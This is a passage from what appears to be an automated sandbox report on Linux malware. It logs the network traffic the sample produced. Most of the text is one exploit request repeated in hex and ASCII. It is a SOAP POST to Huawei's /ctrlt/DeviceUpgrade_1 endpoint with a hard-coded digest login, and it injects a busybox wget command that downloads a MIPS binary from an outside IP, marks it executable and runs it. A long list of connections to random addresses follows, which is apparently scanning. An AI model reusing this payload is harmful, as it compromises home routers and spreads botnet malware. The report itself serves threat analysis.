6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: global traffic

TCP traffic: 192.168.2.14:46540 -> 185.125.190.26:443

Source: unknown	TCP traffic detected without corresponding DNS query: 156.0.70.59
Source: unknown	TCP traffic detected without corresponding DNS query: 41.37.164.59
Source: unknown	TCP traffic detected without corresponding DNS query: 197.153.67.226
Source: unknown	TCP traffic detected without corresponding DNS query: 197.108.139.233
Source: unknown	TCP traffic detected without corresponding DNS query: 41.250.8.226
Source: unknown	TCP traffic detected without corresponding DNS query: 41.129.249.37
Source: unknown	TCP traffic detected without corresponding DNS query: 41.33.14.34
Source: unknown	TCP traffic detected without corresponding DNS query: 197.57.139.70
Source: unknown	TCP traffic detected without corresponding DNS query: 197.180.84.103
Source: unknown	TCP traffic detected without corresponding DNS query: 41.231.64.214
Source: unknown	TCP traffic detected without corresponding DNS query: 156.40.218.232
Source: unknown	TCP traffic detected without corresponding DNS query: 197.115.73.65
Source: unknown	TCP traffic detected without corresponding DNS query: 197.43.220.124
Source: unknown	TCP traffic detected without corresponding DNS query: 156.174.196.3
Source: unknown	TCP traffic detected without corresponding DNS query: 197.130.193.94
Source: unknown	TCP traffic detected without corresponding DNS query: 156.85.130.57
Source: unknown	TCP traffic detected without corresponding DNS query: 197.14.164.47
Source: unknown	TCP traffic detected without corresponding DNS query: 41.160.181.219
Source: unknown	TCP traffic detected without corresponding DNS query: 156.195.249.207
Source: unknown	TCP traffic detected without corresponding DNS query: 41.63.47.107
Source: unknown	TCP traffic detected without corresponding DNS query: 197.162.48.91
Source: unknown	TCP traffic detected without corresponding DNS query: 41.136.42.214
Source: unknown	TCP traffic detected without corresponding DNS query: 156.59.130.199
Source: unknown	TCP traffic detected without corresponding DNS query: 156.93.205.83
Source: unknown	TCP traffic detected without corresponding DNS query: 156.69.73.21
Source: unknown	TCP traffic detected without corresponding DNS query: 41.27.125.125
Source: unknown	TCP traffic detected without corresponding DNS query: 197.73.225.8
Source: unknown	TCP traffic detected without corresponding DNS query: 41.75.108.78
Source: unknown	TCP traffic detected without corresponding DNS query: 197.139.224.14
Source: unknown	TCP traffic detected without corresponding DNS query: 156.252.69.210
Source: unknown	TCP traffic detected without corresponding DNS query: 197.61.171.219
Source: unknown	TCP traffic detected without corresponding DNS query: 156.54.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 41.187.21.136
Source: unknown	TCP traffic detected without corresponding DNS query: 156.131.104.76
Source: unknown	TCP traffic detected without corresponding DNS query: 41.214.176.71
Source: unknown	TCP traffic detected without corresponding DNS query: 197.137.0.191
Source: unknown	TCP traffic detected without corresponding DNS query: 156.148.183.228
Source: unknown	TCP traffic detected without corresponding DNS query: 197.206.29.101
Source: unknown	TCP traffic detected without corresponding DNS query: 156.79.112.182
Source: unknown	TCP traffic detected without corresponding DNS query: 41.218.220.2
Source: unknown	TCP traffic detected without corresponding DNS query: 41.117.58.167
Source: unknown	TCP traffic detected without corresponding DNS query: 156.139.43.180
Source: unknown	TCP traffic detected without corresponding DNS query: 156.226.153.126
Source: unknown	TCP traffic detected without corresponding DNS query: 156.198.170.71
Source: unknown	TCP traffic detected without corresponding DNS query: 41.105.198.238
Source: unknown	TCP traffic detected without corresponding DNS query: 41.30.199.232
Source: unknown	TCP traffic detected without corresponding DNS query: 156.25.248.194
Source: unknown	TCP traffic detected without corresponding DNS query: 156.128.33.171
Source: unknown	TCP traffic detected without corresponding DNS query: 41.232.105.157
Source: unknown	TCP traffic detected without corresponding DNS query: 41.127.37.120

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: unknown

